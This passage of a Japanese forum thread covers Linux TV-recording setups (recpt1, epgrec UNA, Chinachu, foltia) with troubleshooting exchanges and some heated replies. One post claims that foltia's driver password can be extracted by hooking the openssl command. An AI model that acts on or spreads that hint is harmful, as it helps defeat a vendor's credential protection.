番組前のCMでは番組名は「凪の明日から」

23:30から「ソードアートオンライン」が始まると、
番組名が「ソードアートオンライン」に変わる

となる

これはたぶんECBDは放送波に含まれるEPGデータもセットで録画できるのに対し、
recpt1だとEPGデータはうまく録画できないから?(番組表更新のためのEPG受信はうまくできてます。)
他にも番組情報(EPGデータ)を使ったソフトを使用しているので、
recpt1で番組情報を正しくtsファイルに保持したまま録画したい。

LinuxはCentOS6.5 64bitでrecpt1はSTZ版を使用

228
login:Penguin[sage]   投稿日:2014/03/02 21:40:02  ID:YvLVGd0r.net(2)
TVTestって録画ファイル再生できんの?
コメント1件

229
login:Penguin[sage]   投稿日:2014/03/03 00:03:32  ID:hxhc1A2q.net(2)

230
login:Penguin[sage]   投稿日:2014/03/03 00:55:10  ID:6a3eupsQ.net
--sid hd なだけなんではないか
recpt1 単体で試してみたら
コメント1件

231
login:Penguin[sage]   投稿日:2014/03/03 01:08:13  ID:iRoop0Y9.net
EIT[p]を保存するようにすればできるんじゃないか。
PIDは--sid epgにしたとき保存対象になる中のどれか。
コメント1件

232
227[sage]   投稿日:2014/03/03 03:07:33  ID:hxhc1A2q.net(2)
>230
>231
ありがとうございました。
できました。


SIDってそういう意味だったのか・・・
--help見ても英語で
SIDでググってもCSのチャンネルの話しかなくて見落としてました。

233
login:Penguin[sage]   投稿日:2014/03/03 17:20:29  ID:4g83Q5Br.net
chinachuの番組表がいい感じになったと聞いて、
しばらく使ってなかったのをupdateして試してみたんだけど前と変わってない。
新しい番組表にするにはどうすればよいでしょう?
コメント2件

234
sage[sage]   投稿日:2014/03/03 20:03:49  ID:ivM43Bs7.net
epgrec UNAで、EPG情報が3/1から取得できなくなりました。
解決方法知っている方、いませんか。
コメント4件

235
83[sage]   投稿日:2014/03/03 20:10:50  ID:DVmbj1dH.net
>233
config.json、rules.jsonやdata/ をバックアップしといて
インストールし直せば?

ウチも番組表の表示変わったってことで、
新規にインストールし直した。
config.json、rules.jsonは古いChinachuから流用してちゃんと動いてる。
もちろん番組表の表示も変わった。
結構いい感じ。

あとはiosからのライブ視聴が
ちゃんと動いてくれれば...
コメント1件

236
login:Penguin[sage]   投稿日:2014/03/03 21:19:53  ID:8DCe2auh.net
>235
いけますた

237
忍法帖【Lv=8,xxxP】(1+0:8) [sage]   投稿日:2014/03/03 21:32:37  ID:RcBD1yC5.net
>234
こっちは取れてる気がする
どこか設定でもいじったんじゃないの?

238
login:Penguin[sage]   投稿日:2014/03/03 21:57:26  ID:WNCwc8nt.net
どうも環境依存らしいね
ubuntu12.04(PHP5.3.10 MySQL5.5.35)では出てないよ

ログみてりゃもっと早くわかったと思うんだが
どうにもならなくなってから相談してたらあかんでしょ
録画に支障が出るだろうに

239
login:Penguin[sage]   投稿日:2014/03/03 22:20:00  ID:4PdbZfyb.net
>234
俺が以前UNA使ってた時に、EPG取得用テンポラリファイルがいつの間にか溜まりまくって
システムHDDがいっぱいになったせいでEPGが新規に取得出来なくなったことがあるんだけど、
その辺は大丈夫?

240
login:Penguin[sage]   投稿日:2014/03/03 23:24:24  ID:3g7vwp5D.net
>233
ブラウザキャッシュとか?
Chrome だと、強制リロード S-C-r でも、js 経由で読むデータのキャッシュは
破棄されないから、developer tool の操作でキャッシュ破棄する必要ある。

241
忍法帖【Lv=3,xxxP】(1+0:8) [sage]   投稿日:2014/03/04 00:45:53  ID:G0pkJtIM.net
>234
同じ症状出ててた
PC壊れて再インストールしたばかりだったので
cronで読んでる番組更新のPHPが
今の階層にあってなかったという落ちでしたが
最初の番組取得では正常だったので気がつかなかった

242
login:Penguin[sage]   投稿日:2014/03/04 01:04:55  ID:kV6jhNUp.net
>234
ログとかはどうなのよ

243
login:Penguin[sage]   投稿日:2014/03/04 19:46:17  ID:xX5y1T4W.net
一つのチャンネルに何個も番組表はいってるじゃないですかー。
Chinachuで使わない番組表だけ無効にできます?

244
234[sage]   投稿日:2014/03/04 22:18:10  ID:E0i5kteK.net
Ubuntu 12.04LTSでした。
DBを一回削除して、様子見たんですがだめでした。
その後、Ubuntu のPHPセキュリティアップデートが今日出たので
それを適用して、更新したらEPG情報が取れるようになりました。
ありがとうございます。

245
login:Penguin[sage]   投稿日:2014/03/09 23:40:23  ID:Pqboft5p.net
MythTV 0.26 + ISDBパッチ + PT3な環境で、
ISDB-Sの視聴に成功したようです。

詳しくは、@wikiで
http://www43.atwiki.jp/mythtv-dvb/

246
login:Penguin[sage]   投稿日:2014/03/10 00:05:35  ID:E8/VysdB.net
@wiki。。

247
login:Penguin[sage]   投稿日:2014/03/10 00:05:40  ID:NPT1K+yt.net
いまatwikiとか恐ろしくて行けないだろw

248
login:Penguin[sage]   投稿日:2014/03/10 00:59:19  ID:cvO/P/MU.net
MythTV か・・・
ずっと前にEDEN の PCと アナログTVカードでやってみたきりだったな

試してみようかな

249
login:Penguin[]   投稿日:2014/03/15 11:46:26  ID:uisk12lk.net
chinacu updaterしてみたら番組表が縦表示になって使いにくいorz
元に戻したいけどconfig.jsonで変更する項目がみつからない・・・

あとEXって項目あるけど、LinuxでISDB-S2受信できてる奴いる?
TBS-69xxxシリーズでJSAT-3a,4b掴もうとしても引っかかりもしないw
コメント1件

250
login:Penguin[sage]   投稿日:2014/03/15 13:14:48  ID:W28e8CoW.net
>249

Chinachuの人が何か作ってるよ
https://github.com/kanreisa/szap-s2j

251
login:Penguin[sage]   投稿日:2014/03/18 01:38:01  ID:0UYyqp4f.net
Fedora20でDVBドライバ使っている人っています?
どうしてもコンパイルが通らないのですが・・・
(開発環境をインストールしていないという初歩的なミスではない)

ちなみに使いたいカードは、MonsterTV HDP2という古いカード
マイナーすぎてLinuxでの使用レポートが少ないっ
コメント2件

252
login:Penguin[sage]   投稿日:2014/03/18 06:39:10  ID:Q5DLEepS.net
マイナーなカードは自力で解決できないなら、あきらめろ試合終了だ・・・

253
login:Penguin[sage]   投稿日:2014/03/18 11:47:31  ID:7DqZkBZk.net
>251
どこで通らないとか
コンパイルのエラーメッセージはなんだとか
自分で試したことは何か
何も情報出さないのにどうアドバイスすればいいんだよ
で、アドバイスするとそれはもう試しましたとか言うんだろ
勘弁してくれよw

254
login:Penguin[sage]   投稿日:2014/03/18 14:50:58  ID:YCLg7d3b.net
pcscdがらみで質問です。情報持っていらっしゃるかたいらっしゃいましたら教えて下さい

現在ubuntu 12.04 /PT3/Gemalt USBカードリーダ epegrec にて録画環境構築しています。
サーバを起動(再起動)かけてしばらくの間は問題なく録画できる状態なのですが、
どこかのタイミングでUSBデバイスが認識できなくなってしまいます。

このタイミングが明確にわからないのですが(syslog探ってもトリガーがわからない)
1〜2日ぐらいでUSBのpcscリーダ自体が認識されなくなります。

試しにサービスのリスタート(service pcscd restat) をかけると
Mar 18 14:01:35 XXX pcscd: ccid_usb.c:499:OpenUSBByName() Can't claim interface 3/2: -6
Mar 18 14:01:35 XXX pcscd: ifdhandler.c:102:IFDHCreateChannelByName() failed
Mar 18 14:01:35 XXX pcscd: readerfactory.c:965:RFInitializeReader() Open Port 0x200000 Failed (usb:08e6/3437:libudev:0:/dev/bus/usb/003/002)
Mar 18 14:01:35 XXX pcscd: readerfactory.c:275:RFAddReader() Gemalto GemPC Twin (4CE36E9F) init failed.
Mar 18 14:01:35 XXX pcscd: hotplug_libudev.c:377:HPAddDevice() Failed adding USB device: Gemalto GemPC Twin

これを吐いて認識できなくなるようです
ただし、頻度は高くないですがたまに問題なくサービスがリスタートできる時もあります。

カードリーダ周りで入っているパッケージは
ii libccid 1.4.5-1
ii libpcsclite1 1.7.4-2ubuntu2
ii pcsc-tools 1.4.18-1
ii pcscd 1.7.4-2ubuntu2

こんな感じです。
全く認識されないとかいうケースはググっても結構出てきますが、稼働中に認識できなくなるっ
ていうケースが少ないのか
ヒットしません。
よろしくお願いいたします。
コメント3件

255
login:Penguin[sage]   投稿日:2014/03/18 22:22:13  ID:oMtlMuP3.net(2)
>254
稼働中にUSBデバイス見失う状況はマザボの電解コンデンサが妊娠状態になって発生したことがある
24H電源入れっぱなしで4年弱のころで4個交換して復活した
コメント1件

256
login:Penguin[]   投稿日:2014/03/18 22:35:54  ID:ue/vwGVT.net
>254
ソース見るしかないんじゃね
原因がハード由来なら見ても意味ないんだけど
コメント1件

257
255[sage]   投稿日:2014/03/18 22:43:12  ID:oMtlMuP3.net(2)
ソース…じゃなくて写真だけど
http://www1.axfc.net/u/3197864.jpg

258
login:Penguin[sage]   投稿日:2014/03/19 00:40:15  ID:NAhchBGZ.net
そもそも他機器繋いで機能すんの?
じゃないとスレ違いだから

259
login:Penguin[sage]   投稿日:2014/03/19 10:12:20  ID:QxrA/BI7.net(2)
>255
> >254
> 稼働中にUSBデバイス見失う状況はマザボの電解コンデンサが妊娠状態になって発生したことがある
> 24H電源入れっぱなしで4年弱のころで4個交換して復活した

>256
>ソース見るしかないんじゃね
> 原因がハード由来なら見ても意味ないんだけど

ありがとうございます。
なるほど、そっち(コンデンサ)の可能性もあるんですね。
マザボの方の問題とは思っても見ませんでした。
今度マザボのコンデンサ自体を見てみます。

コンデンサの写真まで掲載してもらってありがとうございました。

ドライバのソースは一応見てみたんですが解決できるほどの知識がなくそっちはお手上げっす。

マザー起因だと面倒すねぇ、、DN2800気に入ってるんですが。
コメント1件

260
login:Penguin[sage]   投稿日:2014/03/19 13:28:06  ID:J5MqdN5L.net
2年前のマザボ疑うんなら電解コンデンサーの塊、電源も疑うよろし
あとUSBポートの変更は当然やってるあるな?
コメント1件

261
login:Penguin[sage]   投稿日:2014/03/19 17:23:25  ID:l+NYviVb.net
>259
DN2800MT?
黄色いほうのUSBに刺してる?
黒い方は容量足りなくなる事あるよ。
コメント1件

262
login:Penguin[sage]   投稿日:2014/03/19 19:28:57  ID:QxrA/BI7.net(2)
254 です

>260
>261
ありがとうございます。
USBポートの変更はやっとります。
ただ、真ん中の黄色い方を意識して使ってたか記憶が定かじゃないのでやってみます!
ついでに背面のポート以外にオンボード上の9pinにもためしてもやってみます。
ACアダプタのほうは考えても見ませんでした。

そういやコンデンサが怪しいんじゃない?っていう話をうけて仕事しながら
なんとなく考えていたんですが、どこかでDN2800MTってUSBのバスパワーが
不安定だって記事を見た覚えがあるんですよね。
なんで、セルフパワーのUSBハブかましてみようかと思います。

ずっとドライバの問題か?と疑ってたので物理方面で
当然確認するべきことを失念していて恥ずかしい限りです。

ありがとうございます。

263
login:Penguin[]   投稿日:2014/03/21 14:24:17  ID:jt99ZH7x.net(2)
Lubuntu12.04にGV-MVP/RXLEを使ってSビデオ入力を視聴しようとしていますが
映像は普通に再生しますが、音声だけスロー再生になってしまいます。

/etc/modprove.d/options.conf に
oprions ivtv cardtype=13 tuner=46 ntsc=j
としてGV-MVP/RXとして認識させて

v4l2-ctl -d /dev/video0 -i 1 -s 2
aplay --buffer-time=0 -f dat < /dev/video24 &
mplayer -framedrop -nocache /dev/video32 -demuxer rawvideo -rawvideo ntsc:hm12:fps=29.97 -vf pp=l5 -aspect 4:3 -vo gl && killall aplay
として再生しています。
音声がスローにならないようにするにはどうすればいいのでしょうか?

264
login:Penguin[sage]   投稿日:2014/03/21 19:26:20  ID:jt99ZH7x.net(2)
cardtype=2でバグ画面になった後に再起動すると普通に再生されるのが分かりました。
試しに別にインストールしていたXubuntu12.04の方は普通に再生できたので
Lubuntuに原因があるのかも知れません。

Radeon7500を使ってるのですが、MPEG2再生支援が効かないみたいでCPU使用率が高いです。
再生支援を効かせる方法はあるのでしょうか?

265
login:Penguin[sage]   投稿日:2014/03/21 19:56:12  ID:Heg0938J.net
どうせまたシカトなんだろ

266
263[sage]   投稿日:2014/03/22 12:57:12  ID:Y/i2UT8/.net
今起動したらXubuntuも同じだったw

267
login:Penguin[sage]   投稿日:2014/03/23 10:47:30  ID:yiZLexYF.net
>251
kernel の DVB コードって MTVHD の DVB 版が開発された頃とかなり変わって
いるので、自力で何とかしないとダメな気がする。
自力できないなら、CentOS とか古いカーネルのディストリ使うしか…

268
login:Penguin[sage]   投稿日:2014/04/03 21:25:58  ID:OmryEff3.net
epgrecって、キーワード予約で同じ条件、同じワードを幾つも登録できてしまうね
で、ひとつ削除すると既存予約状態が解除されてしまう
ソース見てないけど、登録前にチェックしてないのかな

269
login:Penguin[sage]   投稿日:2014/04/04 01:15:27  ID:MDopI1hX.net
やっとPT3買えてもうすぐ来るんだけど、PT2とは同じrecpt1で使い分けられないんだっけ?
もしくは二枚差しのどちらかをDVBとmythtvで使いたいんだが、今のアップストリームの0.27って対応してあるのかな?

270
login:Penguin[sage]   投稿日:2014/04/04 01:18:44  ID:SZUmO7S1.net
普通に使える

271
login:Penguin[sage]   投稿日:2014/04/04 01:28:26  ID:KPSi74HF.net
recpt1て配布してる状態で/dev/pt3video?に対応させてたっけ
コメント1件

272
login:Penguin[sage]   投稿日:2014/04/04 02:08:11  ID:2IUJI7VT.net
オプションで指定すればいい

273
login:Penguin[sage]   投稿日:2014/04/05 10:54:12  ID:0ZK6Blt9.net
>271,272
↓のpt1_dev.hとrecpt1.hに対する変更がPT3対応。デバイス名指定しなくても勝手に探してくれる
http://hg.honeyplanet.jp/pt1.oyama/rev/5eab7c73a28a

274
login:Penguin[sage]   投稿日:2014/04/05 16:47:17  ID:pPmK40tK.net
recpt1やepgdumpとか色々フォークされててややこしいよな

275
login:Penguin[sage]   投稿日:2014/04/06 01:07:42  ID:dtMmoLaE.net
質問です。現在、ANIMELOCKER+PT3を利用してるのだけど、linuxでもwindows環境でもいいのだが
ANIMELOCKERと同程度以上の録画/視聴環境を手軽に構築できるフリー環境のオススメってありますか?
コメント1件

276
login:Penguin[sage]   投稿日:2014/04/06 01:30:18  ID:bemTgdsX.net
FoltiaALはかなり作りこまれてるから
「同等以上」というのは難しいんじゃないかねぇ

277
login:Penguin[sage]   投稿日:2014/04/06 01:31:15  ID:nK9Vps3D.net
ここで聞いてる時点でお察しなお前にお勧めなんて無いよ
そのままfoltiaAL使ってろ

278
login:Penguin[sage]   投稿日:2014/04/06 17:30:30  ID:hmyy2Qlz.net
foltiaから別のものに乗り換え組だが、foltia使ってろ、このモフモフ鼬野郎

279
login:Penguin[sage]   投稿日:2014/04/07 02:00:02  ID:7Y+jM9ks.net
この流れの中で質問しにくいが、ANIMELOCKERを検討してる者です
ホットスワップが出来るケースで使用予定だけど、ANIMELOCKERではHDDのホットスワップって出来るのでしょうか?
たまり次第どんどん入れ替え予定なのですが
コメント3件

280
login:Penguin[sage]   投稿日:2014/04/07 02:43:30  ID:g8xJiIGI.net
>279
Linuxでのホットスワップに疎いので参考程度にとどめて欲しい。

デフォルトだと録画領域がLVMで組まれる。
なのでホットスワップで使うにはちょっと面倒と思う。

ホットスワップさせるディスクは通常の録画エリアとは別にマウントさせて、録画後のデータを都度コピーさせていくか、根本から作りを自分好みに調教していくか。

とりあえず評価版で試してみりゃどうね?

281
login:Penguin[sage]   投稿日:2014/04/07 12:52:17  ID:5idKJBFX.net(2)
>275
無理

282
login:Penguin[sage]   投稿日:2014/04/07 12:53:37  ID:5idKJBFX.net(2)
recpt1とepgdumpとepgrecを各々亜種をマージしてGitHubに頼むわん

283
login:Penguin[sage]   投稿日:2014/04/07 22:47:08  ID:SuYevGW3.net
>279
280も言ってるけどfoltiaALでは
ボリュームマネージャのLVM2が採用されてる

これは録画容量が足りなくなって
後からDiskを追加した時に
スライス切り直しや
ファイルシステム作成し直しすることなく
容量を拡張できるようにするため

lvmの機能でデータを退避させてDiskを抜くこともできるけど
退避までに数時間かかる場合もある

語弊を承知の上でいえば
RAID0を構成しているイメージに近い

Windowsのドライブ単位でのホットスワップをイメージしてるなら、
出来ない、と言う回答になるね

284
login:Penguin[sage]   投稿日:2014/04/08 00:15:30  ID:4pMFaN+S.net
http://aniloc.foltia.com/manual/chapter3-1-3.html
ここのマウント先を変えたらできないんか。
持ってないから知らんけど。

285
login:Penguin[sage]   投稿日:2014/04/08 01:58:30  ID:6UdJdYoS.net(3)
ディレクトリ指定でなくデバイス指定だから・・・
一回試したらうまいこと設定されんで、システムパーティションごとパーティションテーブルが変なったさ

故人的にゃ、PTシリーズ使っているならchinachuのが融通効くと思う。

286
login:Penguin[sage]   投稿日:2014/04/08 02:44:14  ID:ofgZtVMg.net
>279
仮にLVMを使わずに録画領域を設定したとしても
録画データはデータベースで管理されてるので難しい

287
login:Penguin[sage]   投稿日:2014/04/08 03:49:06  ID:yAzuC6q1.net(2)
foltiaALはPT2のドライバも入ってるらしいですが、DIR-EB262-C13にPT2を2枚刺しとかでも大丈夫ですか?

288
login:Penguin[sage]   投稿日:2014/04/08 08:12:03  ID:6UdJdYoS.net(3)

289
login:Penguin[sage]   投稿日:2014/04/08 20:06:07  ID:yAzuC6q1.net(2)
>288
DIR-EB262-C13の方の購入を検討してる段階です

290
login:Penguin[sage]   投稿日:2014/04/08 20:12:02  ID:6UdJdYoS.net(3)
コレか。部屋の片隅に転がってたわ。http://i.imgur.com/E6wXwiO.jpg

大丈夫だ問題ないポチれ。
※但しマザボとの相性は知らん。

291
login:Penguin[sage]   投稿日:2014/04/12 14:59:34  ID:ZAeJcral.net
>foltia ANIME LOCKER 3.0 DVD版 FL-DV1の弊社からの出荷を終了させていただきました。今後は流通在庫のみとなります。
メジャーバージョンアップの予感?永久ライセンスないし、今は買えんなこりゃ
コメント1件

292
login:Penguin[sage]   投稿日:2014/04/13 03:47:41  ID:f5n1hpz5.net(2)
>291
問い合わせてみた。噂通り速攻で返信来るなw

申し訳ございませんが未発表の今後の予定を個別にお話することは出来ません。
また、メジャーアップデートの際には有料アップデートを予定しております。
3.0よりライセンス形態を変更することにより五千円程度の値下げを実現し、多くのお客様からよりお求めやすくなったとのご好評を頂いております。
また、2.0と3.0につきましては、併売期間を長く設定しておりましたために、多くのお客様に希望するライセンス形態と価格をお選びいただけたのではないかと考えております。

293
login:Penguin[sage]   投稿日:2014/04/13 11:31:34  ID:XootDx1E.net(2)
永久ライセンス版を買ったオレは勝ち組?

。。。使ってないけどw
コメント2件

294
login:Penguin[sage]   投稿日:2014/04/13 18:28:39  ID:rMWKG1bU.net
>293
永久ライセンスがなかったことになるんじゃね?
別製品扱いになって
コメント1件

295
login:Penguin[sage]   投稿日:2014/04/13 20:58:06  ID:f5n1hpz5.net(2)
>294
流石にそこまで反感買うことはしないだろう

>293
こんなことで買ったと思える状況なら、社会的には負け組かも
でも結局自分ジャッジで勝ちと思った人が勝ちなので、勝ち組ともいえる
いずれにしてもうらやましい限りだ

296
login:Penguin[sage]   投稿日:2014/04/13 22:27:41  ID:XootDx1E.net(2)
不快にさせたら謝る
所詮、売り文句に踊らされただけのような気がするよ。。。

297
login:Penguin[sage]   投稿日:2014/04/20 16:44:10  ID:ZG5HEhap.net
>297
EPGREC , foltia , chinachu などは
常時稼働が前提

試したことないけど、MythTVは電源断ができたと思う
コメント3件

298
login:Penguin[sage]   投稿日:2014/04/20 17:11:28  ID:zZcXD4q8.net
自分ちは稼働率低いのでwakealarm使って電源OFFしてる
epgrecでのやり方なら検索すればみつかる

299
login:Penguin[sage]   投稿日:2014/04/20 17:12:05  ID:OBKZm5zz.net(2)
んなこたない
コメント1件

300
login:Penguin[sage]   投稿日:2014/04/20 17:12:46  ID:OBKZm5zz.net(2)
>299>297

301
login:Penguin[sage]   投稿日:2014/04/21 01:51:32  ID:gEFm7hIh.net
本家のepgrecは省電力に対応してなかったっけ
コメント1件

302
◆S7rG.xIpRI [ul452fhs@gmail.com sage]   投稿日:2014/04/21 06:44:51  ID:2PM4kE/m.net
>293
売ってくれ
値段は応相談

303
忍法帖【Lv=32,xxxPT】(1+0:8) [sage]   投稿日:2014/04/22 23:44:56  ID:vwfhE+sQ.net
>297
Linuxなら、シェルスクリプト組めば良いと思うの

304
login:Penguin[sage]   投稿日:2014/04/23 00:50:07  ID:KmtF+df/.net
それやる位なら foltiaに電源管理を組み込んだ方が良いと思うがw
>297にその能力が無いなら foltiaALにするか Windowsをアップグレードした方がいいと思う。

305
login:Penguin[sage]   投稿日:2014/04/23 01:48:28  ID:9WPHr/yj.net
foltiaALって電源管理できたっけ?

306
login:Penguin[sage]   投稿日:2014/04/23 09:28:54  ID:b4tKZsRX.net
>301
テスター募ってたのはここで見た

307
login:Penguin[sage]   投稿日:2014/04/27 23:43:29  ID:0bD78R1c.net
epgrecUNAなんですが、録画予約が消えません。
epgrecUNA上では消えるのですが、at jobが残っています。
ログにも「予約ID:3045を削除しましたが AT-JOB:の削除に失敗しました。 (JOBが有りませんでした)」とあります。
atqで見るとやはり残ってます。jobの所有者はrootでした。
atrmしてやると消えます。
何か原因がわかる方いらっしゃいますでしょうか。
コメント3件

308
login:Penguin[sage]   投稿日:2014/04/28 00:35:39  ID:DBxb0ATb.net
>307
答え自分で書いてない?

309
login:Penguin[sage]   投稿日:2014/04/28 01:10:46  ID:KFG9h+OP.net
いあー。それがさっぱりで。
パーミッションあたりかとも思ったのですが、
作るときにrootなんだから、消すときもrootだよなぁと。

310
login:Penguin[sage]   投稿日:2014/04/28 01:45:30  ID:XgA0l5kV.net
CentOS+PT3の質問とかココでおk?

311
login:Penguin[sage]   投稿日:2014/04/28 02:12:06  ID:vtL0Xj6J.net(2)
chinachuでのWebMエンコードストリーミングにはどのくらいのスペックが必要?

312
login:Penguin[sage]   投稿日:2014/04/28 09:01:41  ID:5VbcaOAd.net(2)
Core2Duoじゃ足りなんだ。
初代i7で余裕だった。
初期値の映像1Mbps、音声96kbpsぐらいで。

っていうか、多分スレチ
Linuxでテレビ総合スレか、DTV板のが好ましいかと。

313
login:Penguin[sage]   投稿日:2014/04/28 09:02:41  ID:5VbcaOAd.net(2)
ごめん寝ぼけてた。
ちょっと>315に掘られてくるo.. rz
コメント3件

314
login:Penguin[sage]   投稿日:2014/04/28 14:59:43  ID:xl+PcSIQ.net
ちょっと>313を掘ってくる

315
login:Penguin[sage]   投稿日:2014/04/28 20:28:41  ID:dZ8oN+q2.net
>313
C2Dで無理ならG1820でも無理だよな

それはさておき人にモノを頼むときはこうやってお願いするんだぜ→or2
コメント2件

316
login:Penguin[sage]   投稿日:2014/04/28 20:30:01  ID:vtL0Xj6J.net(2)
>313
C2Dで無理ならG1820でも無理だよな

それはさておき人にモノを頼むときはこうやってお願いするんだぜ→or2

317
login:Penguin[sage]   投稿日:2014/04/28 20:43:12  ID:5x2eoSJZ.net
intelのqsvでエンコってlinuxでできるの?

318
login:Penguin[sage]   投稿日:2014/04/28 20:53:59  ID:YBoTzmmy.net

319
login:Penguin[sage]   投稿日:2014/04/29 03:59:23  ID:ZGq+w8bg.net
>315
おれG1820Tつかってるけど、
初期値の解像度1280x720 映像1Mbps 音声96kbps いけてるで。
CPU 53〜60%くらい。
2番組録画中でもこんなもんだった。

全部MAXはブッチブチで無理だった。
コメント1件

320
login:Penguin[sage]   投稿日:2014/04/29 09:27:56  ID:vyadcz4q.net
>307
getepg.phpのcronがrootで実行されてんじゃね?
これだとキーワード予約がrootでatされる
コメント1件

321
login:Penguin[sage]   投稿日:2014/04/29 13:12:41  ID:ELZUHVys.net
>320
多分こういう人はrootが特別なユーザだって事から説明してあげないといけない
このスレ的には>307だけで完結してる

322
login:Penguin[sage]   投稿日:2014/04/29 13:39:54  ID:XsTzL/0V.net(2)
てか去年の年末に改善されてるんだよね
古いのを使い続ける奴は自己解決しやがれ

323
login:Penguin[sage]   投稿日:2014/04/29 15:26:46  ID:ZNdXx4st.net(3)
なるほど。
消すときはWebからなのでapacheでjobが作られてないと消せませんね。
でもcronの設定ではapacheで実行するようになってました。
epgrecUNA以外の所が原因かもしれません。

変なのも湧いてきたしあとは自分で何とかします。
ありがとうございました。

324
login:Penguin[sage]   投稿日:2014/04/29 16:26:21  ID:x/BTOF0F.net(2)
この手合いは人に助けを求めておいといて、
障害が解決してもその報告をしに来ない恩知らずだろうな。

325
login:Penguin[sage]   投稿日:2014/04/29 17:00:46  ID:ZNdXx4st.net(3)
お前らみたいなのが湧いたら、そんなものする気失せるわ。

326
login:Penguin[sage]   投稿日:2014/04/29 17:29:56  ID:x/BTOF0F.net(2)
だから恩知らずだって言ってるじゃん。

情報後出しで、できません、分かりません、ちょっと煽られたら
ふてくされて「自分で何とかします」かよ。
コミュニティへの貢献意識ゼロだなw

絡まれると面倒なので先に断っておくが、コミュニティってのは
このスレのことじゃないからな。

327
login:Penguin[sage]   投稿日:2014/04/29 17:31:59  ID:ZNdXx4st.net(3)
いや、おまえらこそ変な茶々入れて盛り下げてることを自覚しろよ。

328
login:Penguin[sage]   投稿日:2014/04/29 17:50:15  ID:9Ke+EExa.net
盛り上がって参りました

329
login:Penguin[sage]   投稿日:2014/04/29 17:54:15  ID:wCW/FZ9/.net
いやいやいやここはおれが。

330
login:Penguin[sage]   投稿日:2014/04/29 18:00:01  ID:XsTzL/0V.net(2)
おまえ『ら』ってオレも入ってるんか?w

331
login:Penguin[sage]   投稿日:2014/04/30 01:01:32  ID:5Zedrv+X.net
UNAって自分で修正しようと思ってもおいそれとは手を出せないよな

332
login:Penguin[sage]   投稿日:2014/04/30 02:52:35  ID:2OgepfBJ.net
>319
おお、ありがとう

chinachuは入れて録画もできるんだが、libvpxのインストールが途中でとまっちゃうんで、
本腰入れて解決してもスペック不足で使えないんじゃ意味ないと思って確認したかった
コメント1件

333
login:Penguin[sage]   投稿日:2014/04/30 12:22:34  ID:3gmqxmbg.net
>332
ちなみちchinachu実機で再生したことないから、その場合はもっとCPUくうな。

334
login:Penguin[sage]   投稿日:2014/05/01 00:34:10  ID:KMcrmJZQ.net(2)
Chinachu最新にアップデートしたら
node.js v0.10 だと起動時にこけてしまう…
コメント1件

335
login:Penguin[sage]   投稿日:2014/05/01 00:50:25  ID:uXb4jdjF.net(2)
>334
ChinachuってNodeもよろしくインストールしてくれるじゃん
コメント1件

336
login:Penguin[sage]   投稿日:2014/05/01 01:16:10  ID:KMcrmJZQ.net(2)
>335
うへぇ
Node.jsもバンドルされてるんだね。初めて知った...
ローカルのNode.jsアンインストールしたら無事動いたわ。ありがとう
コメント1件

337
login:Penguin[sage]   投稿日:2014/05/01 02:47:55  ID:uXb4jdjF.net(2)

338
login:Penguin[sage]   投稿日:2014/05/01 10:21:23  ID:kWd0d7dD.net
chinachuスクリプトだとnode.jsはnave.shを使ってchinachu配下にインストール
されるけど、パッケージとか自前コンパイルのをインストールしても動くはず。
PATHはちょっと変える必要あるかもしれんが。

339
pt1.oyama[sage]   投稿日:2014/05/02 15:28:39  ID:pGwISh0n.net
さて、連休で暇なのでrecpt1いじるよ
なにとなにとなにをマージすると最強になれる?

pt1.oyamaのDLNAは残しつつ、ES出力は削っちゃう予定。
httpサーバ版とバグフィックス幾つかぐらいを念頭に置いています。
コメント3件

340
login:Penguin[sage]   投稿日:2014/05/02 16:22:12  ID:FZEVFZhz.net
それは素晴らしいのでマージ後はGithubにでも上げてもらえませんでしょうかね

341
login:Penguin[sage]   投稿日:2014/05/02 17:47:33  ID:eFOW9S2F.net
健全でない言葉が含まれているため表示しません 内容を確認する
コメント1件

342
login:Penguin[sage]   投稿日:2014/05/02 18:55:01  ID:v42JcFsI.net
健全でない言葉が含まれているため表示しません 内容を確認する
コメント2件

343
login:Penguin[sage]   投稿日:2014/05/02 22:24:40  ID:uX75vGtb.net

344
login:Penguin[sage]   投稿日:2014/05/03 00:30:21  ID:R4I77RzK.net
recpt1のライセンスってどうなってるんだっけ

345
login:Penguin[sage]   投稿日:2014/05/04 11:07:11  ID:bbthz8eB.net
http://hg.honeyplanet.jp/pt1/ のrecpt1で、スカパーをsidオプションで観たいチャンネルとepgだけ記録していたんだが、
2〜3日連続して動かしていると各映像・音声はそのままでepgデータが失われている現象に遭遇した。
だれか原因わかる人います??

346
login:Penguin[sage]   投稿日:2014/05/04 22:07:29  ID:f+E2eVtj.net
foltiaのW3PEのドライバ部分はopensslコマンドをフックする事でパスワードを抜く事が出来る
今は違うかもしれないけど

347
login:Penguin[sage]   投稿日:2014/05/04 22:13:40  ID:VV+o7Fl7.net
ブルボン・ホワイトfoltia

348
login:Penguin[sage]   投稿日:2014/05/05 14:04:26  ID:zEl4pCKAF
foltia anime lockerで難視聴対応にするとNHK系がTSで見れなくなるんだが、
これの回避策ってあるか?難視聴ではテレ東だけ見れればいいんだが...

349
login:Penguin[sage]   投稿日:2014/05/06 04:14:27  ID:HAnmH/65.net
>339
更新されたっぽいので早速落としました。感謝。

350
login:Penguin[sage]   投稿日:2014/05/07 07:44:29  ID:UNpwbhO+.net
それは録画以前の問題なのでmanなんとかしたりgoogle様におながいしたりして頑張らないと

351
login:Penguin[sage]   投稿日:2014/05/11 21:14:24  ID:f+bVakdY.net
婆ちゃんがBSCS見たいつうからアンテナ建てたんで、録画鯖にチャレンジしようと
思い、1スレ目から読んで面白かった。

VM上でコンパイルこけて、このレスが役にたった。ありがとう

【視聴・録画】Linuxでテレビ総合7【デジタル/アナログ】 (Linux板)

761 login:Penguin 2012/11/27 (火) 18:01:17
自分はfriioじゃないけど、同じようにUbuntu12.04にしてからb25で躓いたことがあるんで、もしかしたらMakefileのgccオプション問題じゃないのかな。
CC = gcc -Wl,--no-as-needed
に書き換えてみたらどうでしょう?見当違いだったらごめんなさい。

スレ全部読んだ印象だと何かいろいろ録画鯖あるけど一番人気はepgrec UNAって奴っぽいな?
そん次がChinachuとかいうやつ

nginx使ってるからとりあえずepgrec UNAを入れてみるぜ

352
login:Penguin[sage]   投稿日:2014/05/12 00:57:32  ID:K2JieFGQ.net
自分で改造しならが使おうって人にはUNAはおすすめしない
コメント1件

353
login:Penguin[sage]   投稿日:2014/05/12 10:32:02  ID:FDW7z495.net
chinchuは動かないときにログから問題箇所を特定するのが難しいな
一回ハマるとなかなか動かない

354
login:Penguin[sage]   投稿日:2014/05/12 12:48:31  ID:hPnRcaGd.net
>352
